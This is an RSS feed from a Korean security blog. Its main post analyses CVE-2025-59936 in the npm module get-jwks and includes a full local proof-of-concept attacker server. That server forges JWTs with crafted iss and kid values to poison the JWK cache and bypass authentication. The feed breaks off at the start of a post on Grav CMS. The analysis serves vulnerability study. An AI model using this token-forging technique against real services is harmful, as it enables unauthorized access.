<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Universe blog</title>
    <link>https://universe-blog.tistory.com/</link>
    <description>i love security</description>
    <language>ko</language>
    <pubDate>Wed, 6 May 2026 23:22:39 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Universe7202</managingEditor>
    <image>
      <title>Universe blog</title>
      <url>https://tistory1.daumcdn.net/tistory/3085610/attach/0f893d6589334a90b770b9f65beb42a9</url>
      <link>https://universe-blog.tistory.com</link>
    </image>
    <item>
      <title>[분석 일기] JWK를 캐시에 저장하여 관리할 경우 어떻게 될까 with CVE-2025-59936</title>
      <link>https://universe-blog.tistory.com/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-JWK%EB%A5%BC-%EC%BA%90%EC%8B%9C%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%98%EC%97%AC-%EA%B4%80%EB%A6%AC%ED%95%A0-%EA%B2%BD%EC%9A%B0-%EC%96%B4%EB%96%BB%EA%B2%8C-%EB%90%A0%EA%B9%8C-with-CVE-2025-59936</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1. 서론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwZxmG/btsQ109X2LU/44i56dLmuO7QJoNd2H25G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwZxmG/btsQ109X2LU/44i56dLmuO7QJoNd2H25G0/img.png&quot; data-alt=&quot;generated by chatgpt&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwZxmG/btsQ109X2LU/44i56dLmuO7QJoNd2H25G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwZxmG%2FbtsQ109X2LU%2F44i56dLmuO7QJoNd2H25G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;328&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;generated by chatgpt&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얼마전에 npm 모듈 중에서 재미있는 취약점이 공개 되었길래 분석을 진행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`get-jwks` 모듈은 전달 받은 JWT를 verify 하기 위해, iss 필드에 있는 서버로 fetch한 결과(JWK)를 캐시에 저장하는 모듈이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이로 인해, 상황에 맞는 동일한 JWK에 대해 다시 요청할 필요 없이 캐시된 정보로 verify 하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/nearform/get-jwks&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/nearform/get-jwks&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1759217362233&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - nearform/get-jwks: Fetch utils for JWKS keys&quot; data-og-description=&quot;Fetch utils for JWKS keys. Contribute to nearform/get-jwks development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/nearform/get-jwks&quot; data-og-url=&quot;https://github.com/nearform/get-jwks&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cai6HM/hyZJNU2ltS/5xwgWrYyiUPR6GLnkwk3r0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bjJT0E/hyZKl3j9Le/D4B9ykPsL3dbfKLLndQlK1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/nearform/get-jwks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/nearform/get-jwks&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cai6HM/hyZJNU2ltS/5xwgWrYyiUPR6GLnkwk3r0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bjJT0E/hyZKl3j9Le/D4B9ykPsL3dbfKLLndQlK1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - nearform/get-jwks: Fetch utils for JWKS keys&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fetch utils for JWKS keys. Contribute to nearform/get-jwks development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시 정보는 key:value 형태로 저장되는데, key는 JWT에서 sig, kid, iss를 추출 및 조합한 값을 key로 사용하고, value는 iss에 요청을 보낸 JWK 정보이다. 이때, JWT에 추출한 값은 verify하기 전 값을 가져와 key를 세팅하므로, 공격자가 임의 key를 지정하여 삽입할 수 있다. 이로 인해, 공격자는 첫번째 JWT는 공격자의 JWK를 저장하기 위한 값으로 캐싱하고, 두번째 요청은 공격자의 개인키로 서명한 JWT 값을 전달하여 verify를 bypass하는(허용된 iss를 설정한 상태에서도) CVE-2025-59936 취약점 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. get-jwks 모듈 분석&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석할 get-jwks 모듈은 v.11.0.1 버전을 대상으로 분석을 진행할 것이며, commit은 &lt;a href=&quot;https://github.com/nearform/get-jwks/tree/79314531f66e2f2509d1e0225b9620f11e1422e4&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/nearform/get-jwks/tree/79314531f66e2f2509d1e0225b9620f11e1422e4&lt;/a&gt;&amp;nbsp;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT에 `iss`, `alg`, `kid` 값을 추출하여 `cacheKey` 변수를 생성힌다. 이는 `${alg}:${kid}:${normalizedDomain}` 형태로 key를 생성한 뒤, 캐시에 저장된 JWK가 있다면 해당 값을 리턴한다. 그렇지 않으면, `retrieveJwk()` 함수를 호출하여 iss에 요청을 보내 JWK 정보를 가져와 캐싱한다.&lt;/p&gt;
&lt;pre id=&quot;code_1759218623486&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L57-L100

async function getPublicKey(signature) {
  return jwkToPem(await this.getJwk(signature))
}

function getJwk(signature) {
  const { domain, alg, kid } = signature

  const normalizedDomain = ensureTrailingSlash(domain)

  ...

  const cacheKey = `${alg}:${kid}:${normalizedDomain}`
  const cachedJwk = cache.get(cacheKey)

  if (cachedJwk) {
    return cachedJwk
  }

  const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
    err =&amp;gt; {
      const stale = staleCache.get(cacheKey)

      cache.delete(cacheKey)

      if (stale) {
        return stale
      }

      throw err
    }
  )

  cache.set(cacheKey, jwkPromise)

  ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`retrieveJwk()` 함수는 아래와 같으며, 전달 받은 도메인에 `/.well-known/jwks.json` 으로 요청을 보내어 JWK 정보를 가져온다.&lt;/p&gt;
&lt;pre id=&quot;code_1759220618766&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;async function retrieveJwk(normalizedDomain, alg, kid) {
    const jwksUri = jwksPath
      ? normalizedDomain + jwksPath
      : providerDiscovery
      ? await getJwksUri(normalizedDomain)
      : `${normalizedDomain}.well-known/jwks.json`

    const response = await fetch(jwksUri, fetchOptions)
    const body = await response.json()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 분석 내용에서 중요한 점은 JWT에 `iss`, `alg`, `kid` 값을 `${alg}:${kid}:${normalizedDomain}` key 형태로 사용한다는 점이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. 분석 환경 세팅&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3.1. JWK 관리 서버 3000번 포트&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWK를 관리하는 서버는 아래와 같다. JWT 관리 서버는 3000번 포트를 오픈하고, `/gen` 엔드포인트는 개인키로 서명된 JWT를 응답한다. 이때, `issuer` 값은 본인 서버 주소를 작성하여 이후 다른 서버에게 JWK 정보를 제공하기 위해 `/.well-known/jwks.json` 엔드포인트로 JWK 정보를 응답하도록 설정하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1759478433760&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require('express');
const morgan = require('morgan');
const { generateKeyPair, exportJWK, SignJWT } = require('jose');

const app = express();
const port = 3000;
app.use(express.json());
app.use(morgan('tiny'));

let PRIVATE_KEY;
let JWKS;
let ISSUER = 'http://localhost:3000';

async function initKeys() {
    const { publicKey, privateKey } = await generateKeyPair('RS256');
    PRIVATE_KEY = privateKey;
    const jwk = await exportJWK(publicKey);
    jwk.kid = jwk.kid || `kid-${Date.now()}`;
    jwk.use = 'sig';
    jwk.alg = 'RS256';

    JWKS = { keys: [jwk] };
}

app.get('/.well-known/jwks.json', (req, res) =&amp;gt; {
    console.log(&quot;request &quot;)
    if (!JWKS) return res.status(503).json({ error: 'keys not ready' });
    res.json(JWKS);
});

app.get('/.well-known/openid-configuration', (req, res) =&amp;gt; {
  res.json({
    issuer: ISSUER,
    jwks_uri: `${ISSUER}/.well-known/jwks.json`
  });
});

app.get(&quot;/gen&quot;, async (req, res) =&amp;gt; {
    const payload = {
        sub: 'anonymous',
    };

    const kid = JWKS.keys[0].kid;
    const token = await new SignJWT(payload)
        .setProtectedHeader({ alg: 'RS256', kid })
        .setIssuer(ISSUER)
        .setIssuedAt()
        .setExpirationTime('1h')
        .sign(PRIVATE_KEY);

    res.json({ token });
})

initKeys().then(() =&amp;gt; {
    app.listen(port, () =&amp;gt; {
        console.log(`JWT issuer server listening on http://localhost:${port}`);
        console.log(`JWKS endpoint: http://localhost:${port}/.well-known/jwks.json`);
        console.log(`Token gen: POST http://localhost:${port}/gen`);
    });
}).catch(err =&amp;gt; {
    console.error('Failed to initialize keys:', err);
    process.exit(1);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3.2. API 서버 3001번 포트&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 API 서버 코드 이다. 해당 서버는 3001번 포트를 오픈 하고 있으며, 인증 및 기타 API 서버를 제공하는 컨셉이다. `/auth` 엔드포인트에 JWT 값을 포함하여 요청을 보낸다면, 해당 값을 `get-jwks` 모듈에서 검증한다. 추가로, `createVerifier()` 함수에서 허용된 iss 서버를 지정하고 있어, 다른 iss는 사용할 수 없다.&lt;/p&gt;
&lt;pre id=&quot;code_1759478795824&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier, createSigner } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =&amp;gt;
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'http://localhost:3000',
});

const app = express();
const port = 3001;

app.use(express.json());

async function verifyToken(req, res, next) {
  try {
    const headerAuth = req.headers.authorization?.split(' ') || []
    let token = '';
    if (headerAuth.length &amp;gt; 1) {
      token = headerAuth[1];
    }
    const payload = await jwtVerifier(token);
    req.decoded = payload;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid or missing token', details: err.message });
  }
}

// 인증 확인 엔드포인트
app.get('/auth', verifyToken, (req, res) =&amp;gt; {
  res.json(req.decoded);
});

app.listen(port, () =&amp;gt; {
  console.log(`Server is running on port ${port}`);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4. 취약점 분석&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`get-jwks` 모듈의 문제점은 verify하기 전에 공격자가 전달한 JWT의 iss, kid, sig 값을 key로 하여 공격자의 iss에 요청을 보내어 JWK 정보를 저장한다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 `get-jwks` 모듈의 코드 일부분 이며, 앞서 설명한 것처럼 verify 하기 전에 key를 만든 뒤, 해당 key가 존재하지 않으면 iss에 요청을 보내어 JWK 정보를 `cache.set()` 하는 것을 볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1759479371606&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L76

function getJwk(signature) {
  const { domain, alg, kid } = signature
  
  ...
  
  const cacheKey = `${alg}:${kid}:${normalizedDomain}`
  const cachedJwk = cache.get(cacheKey)

  if (cachedJwk) {
    return cachedJwk
  }

  // iss 요청
  const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
    ...
  )

  // JWK 정보 저장
  cache.set(cacheKey, jwkPromise)

  return jwkPromise
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.1. 공격자 서버 세팅&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 아래와 같은 공격 시나리오가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.1.1. 공격자의 JWK 정보를 리턴하는 엔드포인트&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자의 JWK 정보를 응답하는 엔드포인트를 만든다. 이때, 테스트를 위해 kid는 testkid로 지정한다.&lt;/p&gt;
&lt;pre id=&quot;code_1759479831219&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.get('/.well-known/jwks.json', (req, res) =&amp;gt; {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) =&amp;gt; {
    return res.json({
        &quot;issuer&quot;: host,
        &quot;jwks_uri&quot;: host + '/.well-known/jwks.json'
    });
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.1.2. 공격자의 개인키로 서명하는 엔드포인트 및 iss 변조&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자의 개인키로 서명한 JWT 값을 생성하는 엔드프인트를 만든다. 이때, 위에서 사용한 동일한 kid를 작성해야 하며, iss는 공격자의 서버 주소와 `/?:` 문자열 사이에 추가로 기존 JWK 서버 주소를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1759479865032&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;

app.post('/create-token-1', (req, res) =&amp;gt; {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: &quot;testkid&quot;, 
     } });
  res.send(token);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.&lt;/p&gt;
&lt;pre id=&quot;code_1759480100768&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;RS256:testkid:http://localhost:3002/?:http://localhost:3000

|alg| |-kid-| |-------------------iss----------------------|&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;value는 공격자가 설정한 iss 값으로 요청을 보내어 JWK 정보를 가져오려고 시도한다. 하지만, iss 값은 4.1.1. 공격자의 JWK 서버 이므로, 앞서 설정한 엔드포인트로 인해 공격자의 JWK 정보를 응답한다. 해당 정보는 캐싱되어 저장된다. 최종적으로, API(3001번 포트) 서버는 verify 하려고 하지만, 기존 JWK(3000번 포트) 서버의 private key로 서명한 것을 공격자의 public key로 검증에 실패한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.1.3. 공격자의 개인키로 서명하는 엔드포인트 및 kid 변조&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 엔드포인트와 4.1.2. 엔드포인트의 다른 점은 iss 값을 기존 JWK(3000번 포트) 서버로 설정하고 kid를 이상하게 변조하여 JWT를 생성하고 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1759480489299&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;app.post('/create-token-2', (req, res) =&amp;gt; {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 엔드포인트로 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.&lt;/p&gt;
&lt;pre id=&quot;code_1759480681927&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;RS256:testkid:http://localhost:3002/?:http://localhost:3000

|alg| |------------kid--------------| |-------iss---------|&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 4.1.2. 에서 생성한 key와 동일하며, 또한 API(3001번 포트) 서버에서 설명한 `createVerifier()` 함수에서 허용된 iss 값을 우회할 수 있는 형태이다. 따라서, 위 엔드포인트로 만들어진 JWT를 전달하면 캐싱된 JWK를 가져오고, 공격자의 private key로 서명한 값을 공격자의 JWK로 verify 하기 때문에 인증을 통과할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4.1.4. 공격자 전체 서버 코드&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1759481058763&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const morgan = require('morgan');

const app = express();
const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;

app.use(morgan('tiny'));

const { publicKey, privateKey } = generateKeyPairSync(&quot;rsa&quot;,
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) =&amp;gt; {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: &quot;testkid&quot;, 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) =&amp;gt; {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) =&amp;gt; {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) =&amp;gt; {
    return res.json({
        &quot;issuer&quot;: host,
        &quot;jwks_uri&quot;: host + '/.well-known/jwks.json'
    });
});

app.listen(port, () =&amp;gt; {
  console.log(`Server is running on port ${port}`);
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;5. 결론&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`get-jwks` 모듈은 많이 사용하지는 않지만, 공격자가 원하는 JWT를 생성하여 인증을 우회할 수 있는 아주 무서운 취약점인 것 같다. 또한, 앞서 설명한 방법대로 JWK를 캐싱하여 인증을 통과하는 공격 기법은 처음 보는 방법이라 재미있게 읽고 분석할 수 있었다.&lt;/p&gt;</description>
      <category> Security</category>
      <category>CVE-2025-59936</category>
      <category>get-jwks</category>
      <category>jwk</category>
      <category>jwt</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/260</guid>
      <comments>https://universe-blog.tistory.com/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-JWK%EB%A5%BC-%EC%BA%90%EC%8B%9C%EC%97%90-%EC%A0%80%EC%9E%A5%ED%95%98%EC%97%AC-%EA%B4%80%EB%A6%AC%ED%95%A0-%EA%B2%BD%EC%9A%B0-%EC%96%B4%EB%96%BB%EA%B2%8C-%EB%90%A0%EA%B9%8C-with-CVE-2025-59936#entry260comment</comments>
      <pubDate>Tue, 30 Sep 2025 16:18:00 +0900</pubDate>
    </item>
    <item>
      <title>[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰</title>
      <link>https://universe-blog.tistory.com/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-docs-%EC%A0%95%EB%8F%85%EC%9C%BC%EB%A1%9C-Grav-CMS%EC%97%90%EC%84%9C-RCE-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%B0%BE%EC%9D%80-%EC%8D%B0</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKQn6R/btsDniBJczW/SefeF6A3tHvoxvSUKrkTUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKQn6R/btsDniBJczW/SefeF6A3tHvoxvSUKrkTUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKQn6R/btsDniBJczW/SefeF6A3tHvoxvSUKrkTUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKQn6R%2FbtsDniBJczW%2FSefeF6A3tHvoxvSUKrkTUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;263&quot; height=&quot;263&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;1. Grav CMS&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Grav CMS는 php로 개발된 CMS 입니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Grav is a Fast, Simple, and Flexible, file-based Web-platform.&lt;/blockquote&gt;
&lt;figure id=&quot;og_1704981215395&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig&quot; data-og-description=&quot;Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony - GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly P...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/getgrav/grav&quot; data-og-url=&quot;https://github.com/getgrav/grav&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b38569/hyU5LMamAm/mPu0uCxKK4KLhVAoshkABk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/getgrav/grav&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/getgrav/grav&quot;&gt;
